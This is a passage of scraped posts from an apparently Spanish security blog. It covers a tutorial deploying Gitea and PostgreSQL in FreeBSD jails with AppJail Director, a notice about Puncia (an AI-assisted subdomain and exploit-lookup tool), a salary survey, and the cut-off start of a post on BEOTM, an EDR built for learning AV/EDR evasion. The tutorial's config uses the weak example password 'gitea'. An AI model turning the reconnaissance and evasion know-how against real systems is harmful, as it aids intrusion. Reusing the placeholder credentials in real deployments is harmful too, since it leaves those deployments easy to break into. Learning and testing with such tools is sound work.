/><br /><span class="bbc_color" style="color: blue;">Nota</span>: Mantener AppJail y Director actualizados y sincronizados.<br /><br />La red virtual es la siguiente, pero en estos días no es necesario preocuparse por ella dado que AppJail la crea si no existe:</span></div><div><pre class="prettyprint language-console" tabindex="0"><code class="language-console"># appjail network list
NAME NETWORK CIDR BROADCAST GATEWAY MINADDR MAXADDR ADDRESSES DESCRIPTION
ajnet 10.0.0.0 10 10.63.255.255 10.0.0.1 10.0.0.1 10.63.255.254 4194302 AppJail network</code></pre><span class="bbc_size"></span></div><div><span class="bbc_size">Si necesitas más información, he aquí los lugares relevantes para este artículo en la documentación de AppJail:<br /><br />*.- <a class="bbc_link" href="https://appjail.readthedocs.io/en/latest/getting-started/" rel="noopener" target="_blank">Introducción</a><br />*.- <a class="bbc_link" href="https://appjail.readthedocs.io/en/latest/configure/" rel="noopener" target="_blank">Configuración</a><br />*.- <a class="bbc_link" href="https://appjail.readthedocs.io/en/latest/networking/virtual-networks/intro/" rel="noopener" target="_blank">Introducción a las Redes Virtuales</a><br />*.- <a class="bbc_link" href="https://appjail.readthedocs.io/en/latest/networking/DNS/" rel="noopener" target="_blank">DNS</a></span><br /><br /><span class="bbc_size" style="font-size: 18pt;"><span class="bbc_color" style="color: orange;"><u>Desplegando Gitea</u></span></span><br /><br /><span class="bbc_size">Como se explica en <a class="bbc_link" href="https://github.com/AppJail-makejails/gitea#basic-usage" rel="noopener" target="_blank">AppJail-makejails/gitea#basic-usage</a> hay que pasar las variables de entorno de la siguiente forma:<br /><br />1.- Las variables de entorno deben tener la siguiente forma: <b>GITEA__SECTION_NAME__KEY_NAME</b>.<br />2.- <b>SECTION</b> y <b>KEY_NAME</b> deben estar en mayúsculas. Pueden contener <b>_</b> y números.<br />3.- <b>_0X2E_</b> será remplazados por <b>.</b> y <b>_0X2D_</b> por <b>.</b>.<br />4.- Para usar la sección global o predeterminada, usa <b>DEFAULT</b> como sección.<br /><br />Por lo que nuestro archivo Director es el siguiente:</span><br /><br /><span class="bbc_size"><b>appjail-director.yml</b>:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code>options:<br /> - virtualnet: ":<random> default"<br /> - nat:<br /><br />services:<br /> gitea:<br /> name: gitea<br /> makejail: gh+AppJail-makejails/gitea<br /> options:<br /> - expose: 3000<br /> - expose: '2022:22'<br /> - copydir: !ENV '${PWD}/gitea/files'<br /> - file: /etc/rc.conf.local<br /> arguments:<br /> - gitea_tag: '14.0'<br /> environment:<br /> - GITEA__DATABASE__DB_TYPE: 'postgres'<br /> - GITEA__DATABASE__HOST: 'gitea-postgres:5432'<br /> - GITEA__DATABASE__NAME: 'gitea'<br /> - GITEA__DATABASE__USER: 'gitea'<br /> - GITEA__DATABASE__PASSWD: 'gitea'<br /> - GITEA__SERVER__SSH_PORT: 2022<br /> - GITEA__SERVER__DOMAIN: '192.168.1.105'<br /> - GITEA__DEFAULT__APP_NAME: 'Welcome to my git server!'<br /> volumes:<br /> - gitea-db: gitea-db<br /> - gitea-git: gitea-git<br /><br /> db:<br /> name: gitea-postgres<br /> makejail: gh+AppJail-makejails/postgres<br /> options:<br /> - template: !ENV '${PWD}/postgres/template.conf'<br /> arguments:<br /> - postgres_tag: '14.0-16'<br /> environment:<br /> - POSTGRES_PASSWORD: 'gitea'<br /> - POSTGRES_USER: 'gitea'<br /> - POSTGRES_DB: 'gitea'<br /> volumes:<br /> - pg-done: pg-done<br /> - pg-data: pg-data<br /><br />default_volume_type: '<volumefs>'<br /><br />volumes:<br /> gitea-git:<br /> device: .volumes/gitea/git<br /> gitea-db:<br /> device: .volumes/gitea/db<br /> pg-data:<br /> device: .volumes/postgres/data<br /> pg-done:<br /> device: .volumes/postgres/done</code></pre><span class="bbc_size"> <b>.env</b>:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code>DIRECTOR_PROJECT=gitea</code></pre><span class="bbc_size"><b>postgres/template.conf</b>:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code>exec.start: "/bin/sh /etc/rc"<br />exec.stop: "/bin/sh /etc/rc.shutdown jail"<br />sysvmsg: new<br />sysvsem: new<br />sysvshm: new<br />mount.devfs</code></pre><span class="bbc_size"><b>gitea/files/etc/rc.conf.local</b>:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code>sshd_enable="YES"</code></pre><span class="bbc_size"></span></div><div><span class="bbc_size">Hay
muchas cosas que AppJail y Director realizan por nosotros en un solo
archivo pero lo explicaré en breve. Por el momento solo ejecutemos el
proyecto y veamos el resultado:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code># appjail-director up<br />appjail-director up<br />Starting Director (project:gitea) ...<br />Creating db (gitea-postgres) ... Done.<br />Creating gitea (gitea) ... Done.<br />Finished: gitea<br /># appjail-director info<br />gitea:<br /> state: DONE<br /> last log: /root/.director/logs/2023-12-22_21h33m25s<br /> locked: false<br /> services:<br /> + db (gitea-postgres)<br /> + gitea (gitea)</code></pre><span class="bbc_size">Como se puede apreciar, solo un comando es lo que se usó para desplegar Gitea y PostgreSQL, pero si ingresamos a <a class="bbc_link" href="http://192.168.1.105:3000" rel="noopener" target="_blank">http://192.168.1.105:3000</a> en el navegador de otro sistema, Gitea no muestra nada. No hay de qué precouparse, veamos si el proceso está corriendo:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code># appjail service jail gitea gitea status<br />gitea is running as pid 91657.</code></pre><span class="bbc_size">Después
de que Gitea se inicialice correctamente, podemos registrarnos, crear
un repositorio, o, por ejemplo, agregar nuestra clave SSH en <b>Profile & Settings > Settings > SSH / GPG Keys</b>.</span></div><div><span class="bbc_size"> </span><br /><div class="centertext" style="text-align: left;"><span class="bbc_size" style="font-size: 10pt;"><i><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiXVf-GAwFmwuUwueqj3HDQ4OoYMVx7cunlEPYFAxjHHtIkW7u80yONOdWZWsFzuUKtvJv65E85rlfuMFkLZjQZ3QYLSlG9ew1Eg7sRLm-QaPZ-wtAaYA3JS9iNLFjFA19VdsOZI7yiZ7GP_Z15fKIrIPREj5NigmHDohoYnOzOriZuIwIBEhezkBqy-w/s1015/09f3bs4.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Profile and Settings..." border="0" data-original-height="482" data-original-width="1015" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiXVf-GAwFmwuUwueqj3HDQ4OoYMVx7cunlEPYFAxjHHtIkW7u80yONOdWZWsFzuUKtvJv65E85rlfuMFkLZjQZ3QYLSlG9ew1Eg7sRLm-QaPZ-wtAaYA3JS9iNLFjFA19VdsOZI7yiZ7GP_Z15fKIrIPREj5NigmHDohoYnOzOriZuIwIBEhezkBqy-w/s16000/09f3bs4.png" title="Profile and Settings..." /></a></div></i></span><div class="centertext" style="text-align: center;"><span class="bbc_size" style="font-size: 10pt;"><i>Profile and Settings...</i></span></div><span class="bbc_size" style="font-size: 10pt;"><i> </i></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRL4Ud8MWIfim_BAMkXmComfnHR4MOp2Qe-63Uqsp_i4ghjmOuH3A_pg0iyJAVaYv1hJw40uOHJc2eOZbFivFkgw-8NtoW8v1ypYVadBhOSCWEBwsuDr_P_xc1qgxZKSo3BCfVIOje7CJY6m7tXEwVaEu4lXcjbWRzjn4YDmvR-c-0PAebEbCz1ksAZIE/s1012/9zf97zD.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="482" data-original-width="1012" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRL4Ud8MWIfim_BAMkXmComfnHR4MOp2Qe-63Uqsp_i4ghjmOuH3A_pg0iyJAVaYv1hJw40uOHJc2eOZbFivFkgw-8NtoW8v1ypYVadBhOSCWEBwsuDr_P_xc1qgxZKSo3BCfVIOje7CJY6m7tXEwVaEu4lXcjbWRzjn4YDmvR-c-0PAebEbCz1ksAZIE/s16000/9zf97zD.png" /></a></div><div class="centertext" style="text-align: center;"><span class="bbc_size" style="font-size: 10pt;"><i>SSH / GPG Keys</i></span></div></div><div><span class="bbc_size" style="font-size: 18pt;"><span class="bbc_color" style="color: orange;"><u>Concepto de efímero</u></span></span><br /><br /><span class="bbc_size">Desde la <a class="bbc_link" href="https://github.com/DtxdF/director#ephemeral-concept" rel="noopener" target="_blank">página de inicio de Director</a>:</span><br /><br /><span class="bbc_size"><i>Director
trata cada jaula como efímera. Esto no quiere decir que sus jaulas no
persistirán después de que las detengas o que su sistema se reinicie, lo
que quiere decir es que Director asume que es seguro destruir sus
jaulas ya que se ha separado los datos que deben persistir de los que
no.</i><br /><br />Incluso si nuestras jaulas son un tipo de "<i>Jaulas con estado</i>", esto no significa que no podamos usarlas como "<i>Jaulas efímeras</i>".
La idea de tener jaulas efímeras es muy simple, pero tiene demasiadas
ventajas que probablemente quedarían mejor descritas en otro artículo:
los datos son separados en dos tipos, los que deben persistir de los que
no. Ya hemos hecho esto, por lo que si realizamos lo siguiente...</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code># appjail-director down -d<br />Starting Director (project:gitea) ...<br />Stopping gitea (gitea) ... Done.<br />Destroying gitea (gitea) ... Done.<br />Stopping db (gitea-postgres) ... Done.<br />Destroying db (gitea-postgres) ... Done.<br />Destroying gitea ... Done.<br /># appjail-director info<br />gitea: Project not found.</code></pre><span class="bbc_size"> </span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEHaJEKp1ylpwCsy6FQH5cM-nyEVfls_IwNCLusIbbu93DLjlhz5SLxe11dIjkSDDkKwfzCBbkgJYg6S6Xzu7Glzz-c4GLC8lBbPTR_MTvOhjSDoIHxeHS6sUwuRf30hbZm3eZyOPOXt80yh5QgGbvytKe1OoU3GTqkt84kBhFQrE_n5r-exM7vH9aGpA/s1920/Z8Kanri.jpeg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1385" data-original-width="1920" height="462" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEHaJEKp1ylpwCsy6FQH5cM-nyEVfls_IwNCLusIbbu93DLjlhz5SLxe11dIjkSDDkKwfzCBbkgJYg6S6Xzu7Glzz-c4GLC8lBbPTR_MTvOhjSDoIHxeHS6sUwuRf30hbZm3eZyOPOXt80yh5QgGbvytKe1OoU3GTqkt84kBhFQrE_n5r-exM7vH9aGpA/w640-h462/Z8Kanri.jpeg" width="640" /></a></div><div><div class="centertext" style="text-align: center;"><span class="bbc_size" style="font-size: 10pt;"><i>¡Nuestro proyecto se ha ido!</i></span></div></div><div><span class="bbc_size"> </span></div><div><span class="bbc_size">No te preocupes, esto es lo que solucionan los volúmenes:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code># tree -L 2 .volumes<br />.volumes<br />├── gitea<br />│ ├── db<br />│ └── git<br />└── postgres<br /> ├── data<br /> └── done<br /><br />7 directories, 0 files</code><span class="bbc_size"> </span></pre></div><div><span class="bbc_size">Por lo que podremos crear nuestro proyecto otra vez (y los datos persistirán):</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code># appjail-director up<br />Starting Director (project:gitea) ...<br />Creating db (gitea-postgres) ... Done.<br />Creating gitea (gitea) ... Done.<br />Finished: gitea<br /># appjail-director info<br />gitea:<br /> state: DONE<br /> last log: /root/.director/logs/2023-12-22_21h51m23s<br /> locked: false<br /> services:<br /> + db (gitea-postgres)<br /> + gitea (gitea)</code><span class="bbc_size"> </span></pre></div><div><span class="bbc_size">Y nuestras claves SSH estarán intactas:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code># cat .volumes/gitea/git/.ssh/authorized_keys<br /># gitea public key<br />command="/usr/local/sbin/gitea --config=/usr/local/etc/gitea/conf/app.ini serv key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8B02AxX4CBRHNQHAwQIZUE454ZixeqSkAG7b9OOMxa dtxdf@dtxdf-laptop</code></pre><b>Fuente</b>: <a class="bbc_link" href="https://dtxdf.github.io/post/how-to-install-gitea-on-freebsd-using-appjail-director/" rel="noopener" target="_blank">https://dtxdf.github.io/post/how-to-install-gitea-on-freebsd-using-appjail-director/</a><br /><br /></div><div style="text-align: right;"><i>Contribución gracias a ~ DtxdF
</i></div>contribucioneshttp://www.blogger.com/profile/17971452108710632266noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-52107295926099436462023-12-02T12:19:00.007+01:002023-12-02T12:25:51.031+01:00Puncia: herramienta para obtener subdominios y exploits impulsada por IA<div><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim3Jo57mX2Bci_2ok8AWHDQlh-vrNlWvkKJNTSxoqdHqijNmdwOGuLkaeByTp2gWYvu41bKBNllQDgDDykWyS_mEaROsdQ7Uq5eX5EhcKG_4aWt6JXTMuRHwnC_JVjVWLiGmtb06Llm4XqosWEUrlm2kQbcUNharqrzAjw1UsKy23O0Ino_9RSMPH5ps0l/s720/puncia.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="720" data-original-width="720" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim3Jo57mX2Bci_2ok8AWHDQlh-vrNlWvkKJNTSxoqdHqijNmdwOGuLkaeByTp2gWYvu41bKBNllQDgDDykWyS_mEaROsdQ7Uq5eX5EhcKG_4aWt6JXTMuRHwnC_JVjVWLiGmtb06Llm4XqosWEUrlm2kQbcUNharqrzAjw1UsKy23O0Ino_9RSMPH5ps0l/w200-h200/puncia.png" width="200" /></a></div>La empresa ARPSyndicate ha publicado Puncia, una herramienta que utiliza IA para obtener subdominios e información de exploits.<p></p><p>Concretamente las APIs <a href="https://subdomain.center" rel="nofollow">Subdomain Center</a> y <a href="https://exploit.observer" rel="nofollow">Exploit Observer</a>. La primera a su vez <a class="af mk" href="https://nutch.apache.org/" rel="noopener ugc nofollow" target="_blank">Apache’s Nutch</a>, <a class="af mk" href="https://certstream.calidog.io/" rel="noopener ugc nofollow" target="_blank">Calidog’s Certstream</a>, <a class="af mk" href="https://platform.openai.com/docs/guides/embeddings/what-are-embeddings" rel="noopener ugc nofollow" target="_blank">OpenAI’s Embedding Models</a> y otras herramientas propietarias para descubrir un mayor número de subdominios. </p><p>Eso sí, aviso que por su naturaleza algunos resultados podrían ser inexactos pero, sin duda, es una interesante herramienta a considerar, probar y añadir al arsenal. </p><p>Una de las primeras herramientas de ciberseguridad que incluyen capacidades de IA y que seguramente empezarán a proliferar en breve....<br /></p><p><b>Instalación</b></p><p>1.<b> </b>From PyPi </p><code>pip3 install puncia</code><br /></div><p>2. Desde la fuente <br /></p><div><code class="cw oy oz pa pb b">git clone <a class="af mk" href="https://github.com/ARPSyndicate/puncia" rel="noopener ugc nofollow" target="_blank">https://github.com/ARPSyndicate/puncia</a> && cd puncia && pip3 install .</code><p></p><p><b>Uso</b></p><p>1.<b> </b>Subdomain - <code>puncia subdomain <domain> <output></code></p><p><code></code></p><div class="separator" style="clear: both; text-align: center;"><code><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwEoB9mWOKih87kiJqM6xPEoAn11EBJjdOBexPXYff5gnXa559dr0b-6DlwIr1vf7T_z34RkKOS3dR2sZtta7A-uTAa7jlhdJNSQmcRySjFWsVEXN4qGjObjyawYb_PI7Ol9x8NVXHQyYQdqcIZmDdjQC64bRwvYSmHx7utUm4nBJUkHdUSLLydGf5UDiK/s713/puncia-subdomains.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="713" data-original-width="655" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwEoB9mWOKih87kiJqM6xPEoAn11EBJjdOBexPXYff5gnXa559dr0b-6DlwIr1vf7T_z34RkKOS3dR2sZtta7A-uTAa7jlhdJNSQmcRySjFWsVEXN4qGjObjyawYb_PI7Ol9x8NVXHQyYQdqcIZmDdjQC64bRwvYSmHx7utUm4nBJUkHdUSLLydGf5UDiK/w588-h640/puncia-subdomains.png" width="588" /></a></code></div><code></code><p></p><p>2. Exploit - <code>puncia exploit <keyword> <output> </code></p><p><code></code></p><div class="separator" style="clear: both; text-align: center;"><code><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5shnWj_2ZjJwDU2h0zYVQvm0uIktj2wUvUM7316UaEnjpogUj3taHz-nFl1MAHjRQJuL95HQvqYdy3ayUzVnn__1wSVXXF1SF6uRwCq_sesfssdoiCb7bjfthcKMibJz_VQa0vvlp3gaJAtnq8z4JGjVwIrZbOG7KN-fhHlC5d8LiKZAnXOfCKhRWVaR1/s1022/puncia-exploits.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="582" data-original-width="1022" height="364" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5shnWj_2ZjJwDU2h0zYVQvm0uIktj2wUvUM7316UaEnjpogUj3taHz-nFl1MAHjRQJuL95HQvqYdy3ayUzVnn__1wSVXXF1SF6uRwCq_sesfssdoiCb7bjfthcKMibJz_VQa0vvlp3gaJAtnq8z4JGjVwIrZbOG7KN-fhHlC5d8LiKZAnXOfCKhRWVaR1/w640-h364/puncia-exploits.png" width="640" /></a></code></div><p></p><div><b>Proyecto: </b><a href="https://github.com/ARPSyndicate/puncia" target="_blank">https://github.com/ARPSyndicate/puncia<b><br /></b></a><div><p></p></div></div></div>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-74658311574679533492023-11-28T22:53:00.003+01:002023-11-28T23:14:33.790+01:00 Salarios de ciber seguridad en España (encuesta 2023/2024) <p>¡Saludos, hackplayers!<br /><br />En <a href="https://www.hackplayers.com/2021/04/salarios-de-ciber-seguridad-en-espana.html" target="_blank">2021</a> (el tiempo vuela 😅) nos aventuramos en el terreno de los sueldos en ciberseguridad en España con un cuestionario bastante revelador. Como buen azote de las injusticias y de la libertad pensamos que no hay nada peor que una relación laboral injusta, la que se produce precisamente cuando el empleado no tiene una buena imagen del sector.</p><p></p><p>No esperen fuegos artificiales ni tambores estridentes, estamos aquí para los hechos. ¿Cuánto se está pagando realmente por mantener a raya a los ciberdelincuentes en el aparentemente tranquilo mundo digital español? Es hora de desempolvar las estadísticas y adentrarnos en la pasta gansa.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo62jW_H7JcxHREcWlRsxwDncoHG2MbgSWE3Rv0sVPkQRzU6B5k4SmqSxIQp8aH2rWRfKG-t2i-ZB_S2VrOxkioEa9rv4aq_K_vlYaS7Notu2gAgFh5YxSL_WjNWgVu6PV2NrD_E5gR-5U8vV2HlhdfrXqvUAzi9BiW16Hk7LhBfOmLRQqTdSm5QNmpRs/s648/consultorjunior.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="364" data-original-width="648" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo62jW_H7JcxHREcWlRsxwDncoHG2MbgSWE3Rv0sVPkQRzU6B5k4SmqSxIQp8aH2rWRfKG-t2i-ZB_S2VrOxkioEa9rv4aq_K_vlYaS7Notu2gAgFh5YxSL_WjNWgVu6PV2NrD_E5gR-5U8vV2HlhdfrXqvUAzi9BiW16Hk7LhBfOmLRQqTdSm5QNmpRs/s16000/consultorjunior.png" /></a></div><p></p><p></p><div class="separator" style="clear: both; text-align: center;"></div><p></p><p></p><p>Este año, hemos ampliado algunas preguntas nuevas y como siempre, estamos mas que abiertos a sugerencias.<br /><br />Así que, sin más preámbulos, prepárense para sumergirse en un océano de cifras con el nuevo formulario para 2023-2024 de salarios de ciberseguridad:<br /><br /><a href="https://docs.google.com/forms/d/e/1FAIpQLSdhzmH06Yc7mmA7adO5wtHahZA31QI8TQz1ZwOyF2nN1fjq6Q/viewform?usp=sf_link">https://docs.google.com/forms/d/e/1FAIpQLSdhzmH06Yc7mmA7adO5wtHahZA31QI8TQz1ZwOyF2nN1fjq6Q/viewform?usp=sf_link</a><br /><br />PD: pese a nuestro indiscutible cariño por nuestros hermanos hispanohablantes de LATAM, el objetivo de esta tabla es España. Rellenar con datos fuera de España no nos aporta nada a nadie . Sobra decir que es posible editar, copiar , pegar , imprimir y hacer cuanto gustéis con el cuestionario.</p>contribucioneshttp://www.blogger.com/profile/17971452108710632266noreply@blogger.com1tag:blogger.com,1999:blog-9133539773684103848.post-52481096808028627232023-11-26T18:48:00.013+01:002023-11-26T19:01:44.446+01:00Best EDR Of The Market: herramienta para aprender a evadir AV/EDR<p>Best EDR Of The Market (en adelante BEOTM) de @Xacone (Yazid) es un EDR de código abierto diseñado para servir como campo de pruebas para comprender y evitar algunos de los mecanismos de detección empleados por muchos EDR conocidos.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiwjfQH41AaGb4rXD0Kj3Tixl5reUFzK3eewLP8MwVU1IK5B06wC8W7BXbCPbwa9TLcL1MF3EGEd12VwsaIGUY5akGTETkrQHy7Frw6d7f_Kz5Fk2KLJOxzHPpA5LL4pRZcXhCwJR0VIKLiQhyphenhyphen2bdXedVQeDzBUZWd1GzBc55h419_76hg3N-hvfEk3eCV/s1152/beotm_cover.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="638" data-original-width="1152" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiwjfQH41AaGb4rXD0Kj3Tixl5reUFzK3eewLP8MwVU1IK5B06wC8W7BXbCPbwa9TLcL1MF3EGEd12VwsaIGUY5akGTETkrQHy7Frw6d7f_Kz5Fk2KLJOxzHPpA5LL4pRZcXhCwJR0VIKLiQhyphenhyphen2bdXedVQeDzBUZWd1GzBc55h419_76hg3N-hvfEk3eCV/w640-h354/beotm_cover.png" width="640" /></a></div><p>A continuación veremos descripción general muy rápida de las técnicas que implementa BEOTM sin entrar en detalle sobre los métodos de evasión. <br /><b><br /><span style="font-size: large;">DLL hooking</span></b><br /> <br />BEOTM realiza la inyección de DLL en múltiples niveles interceptando funciones sensibles como las utilizadas para la asignación de memoria, creación/manipulación de procesos o subprocesos, cambiando los derechos de acceso a los grupos de memoria, etc. El hooking se logra inyectando la DLL en el proceso de destino.<br />Una vez inyectada, la DLL redirigirá las llamadas de funciones hookeadas a sus propias rutinas internas para inspeccionar su contenido y luego decidir si continúa o no con la llamada invocando la rutina original.<br /><br />Eso sí, BEOTM se limita (por ahora) a mostrar un mensaje a través de la salida estándar (para hooks de NTDLL) o a mostrar un cuadro de mensaje (para hooks Kernelbase/Kernel32) alertando que la rutina ha sido interceptada.<br /><br /><b>NT-Level hooking VS Reflective DLL Loader: </b></p><p><b></b></p><div class="separator" style="clear: both; text-align: center;"><b><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfa5fSdK5u-8Y7a6sw6DXM-9qtZ1FVu92xOaqCnqMBVRhlpUGEhKsYxt977ub5wxXI2UuX3jp2vo4JzWZtAkgViEjMnBdZidE7hzptKqUR4IWYtVBCNl5WKrHgkz9Xyk0XXBWEpmeoNOY5Fc1kiP04tCctNVWWbecxUqxatRWIXDJvrhUBieiRB1L1MMJ-/s1362/ntdll_hooking.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="1362" height="338" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfa5fSdK5u-8Y7a6sw6DXM-9qtZ1FVu92xOaqCnqMBVRhlpUGEhKsYxt977ub5wxXI2UuX3jp2vo4JzWZtAkgViEjMnBdZidE7hzptKqUR4IWYtVBCNl5WKrHgkz9Xyk0XXBWEpmeoNOY5Fc1kiP04tCctNVWWbecxUqxatRWIXDJvrhUBieiRB1L1MMJ-/w640-h338/ntdll_hooking.gif" width="640" /></a></b></div><br /><b>Kernel32-Level hooking VS proceso legítimo: </b><br /><p></p><a name='more'></a><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivb0oipSrCuwOvNK8TtwhaGzg3Ouq3GCA5QcAtiR4GCiK-t9UEcw4Z72Blqy7nOGPrUCBV4X61nmwkzuAxnsL5IKESatf5pU4uAME97OPV-Yk-zcq7edpPX7m28gva2fDZ9S140jEqeXCQys7k9BSGuUdYduM5F8dKasNPuYwtLWkNy0LTKcuJe0zCtocS/s1362/kernel32_hooking.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="726" data-original-width="1362" height="341" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivb0oipSrCuwOvNK8TtwhaGzg3Ouq3GCA5QcAtiR4GCiK-t9UEcw4Z72Blqy7nOGPrUCBV4X61nmwkzuAxnsL5IKESatf5pU4uAME97OPV-Yk-zcq7edpPX7m28gva2fDZ9S140jEqeXCQys7k9BSGuUdYduM5F8dKasNPuYwtLWkNy0LTKcuJe0zCtocS/w640-h341/kernel32_hooking.gif" width="640" /></a></div><p><span style="font-size: medium;"><b><span>Rutinas/funciones hookeadas</span></b></span><br /></p><p>Las funciones que el EDR hookea a través de las DLL inyectadas se describen en el archivo "<span style="color: red; font-family: courier;">TrigerringFunctions.json</span>". La versión inicial de BEOTM incluye archivos DLL precompilados, pero se pueden compilar otros archivos DLL con las funciones que queramos interceptar. <br /><br />Las DLL inyectables de BEOTM se basan en <a href="https://github.com/microsoft/Detours/" target="_blank">Microsoft Detours</a> como interfaz para la interceptación de llamadas API.<br /><br />A continuación vemos una descripción detallada de lo que sucede cuando la DLL intercepta <span style="color: red; font-family: courier;">NtAllocateVirtualMemory</span>:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcuEsIOUsRj3XrOrex5sQ7kSEcjCjTH9CETLXV-uVCx7EgtEysmSjLHqSpdNSPknnKSD5HO2RTOZPSDUwnfWUgsBFbuzItMcpga3YYvS1akIVZqx8ob8lzdrjQ-toX5A17jlSZVRaHu-2F4VJ1qkkeUWBqRwav9KtLOQiqam-L8iGBpZ1pJunExxGfu4-Z/s1032/hooking_detours.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="519" data-original-width="1032" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcuEsIOUsRj3XrOrex5sQ7kSEcjCjTH9CETLXV-uVCx7EgtEysmSjLHqSpdNSPknnKSD5HO2RTOZPSDUwnfWUgsBFbuzItMcpga3YYvS1akIVZqx8ob8lzdrjQ-toX5A17jlSZVRaHu-2F4VJ1qkkeUWBqRwav9KtLOQiqam-L8iGBpZ1pJunExxGfu4-Z/s16000/hooking_detours.png" /></a></div><p><b><span style="font-size: large;">Threads Call Stack Monitoring </span></b><br /></p><p>Este método implica la monitorización continua del registro de instrucciones RIP de cada hilo. Cuando el registro RIP apunta a la dirección de una rutina/función exportada desde cualquier DLL o a la dirección de un área contenida en la implementación de esta exportación, y el usuario ha especificado en el archivo <span style="color: red; font-family: courier;">TrigerringFunctions.json</span> que desea monitorizar esa rutina/función, el hilo se pausa y su pila de llamadas se desenrola. Se analizan todos los parámetros de todas las rutinas que apila. Si una secuencia de bytes en un parámetro coincide con un patrón predefinido en el archivo <span style="color: red; font-family: courier;">YaroRules.json</span>, el proceso se detiene y se genera una alerta. <br /><br />A diferencia del hooking DLL y el hooking IAT, de hecho hay una respuesta con este método: podemos especificar en el archivo <span style="color: red; font-family: courier;">TrigerringFunctions.json</span> qué funciones queremos monitorizar en el nivel de la pila de llamadas del subproceso y podemos definir los patrones que deseamos identificar en <span style="color: red; font-family: courier;">YaroRules.json</span>.<br /><br /><b>Threads Call Stack Monitoring VS NT-Level XOR-Encrypted Shellcode Loader:</b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidzaaPt7MFaldW_mS4ivBd4jhyphenhyphenXPPp-TasZ_YGm758wGJgtCIypUi9QTlZn4jdjkBj1sMv5WfzqNvrbVf7MFpl9bBgMC728-t1bkcmwKfufm2HUh-tMCcBiWV12QWD44V96dkYvDk-aCz9lQDyEvNqtDsbK7s-NBA5f5ypfKzn-16Sk3bOvN5yzwHe9sGX/s1366/callstackmonitoring.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="702" data-original-width="1366" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidzaaPt7MFaldW_mS4ivBd4jhyphenhyphenXPPp-TasZ_YGm758wGJgtCIypUi9QTlZn4jdjkBj1sMv5WfzqNvrbVf7MFpl9bBgMC728-t1bkcmwKfufm2HUh-tMCcBiWV12QWD44V96dkYvDk-aCz9lQDyEvNqtDsbK7s-NBA5f5ypfKzn-16Sk3bOvN5yzwHe9sGX/w640-h328/callstackmonitoring.gif" width="640" /></a></div><p><b>Threads Call Stack Monitoring VS Reflective DLL Loader: </b><br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a 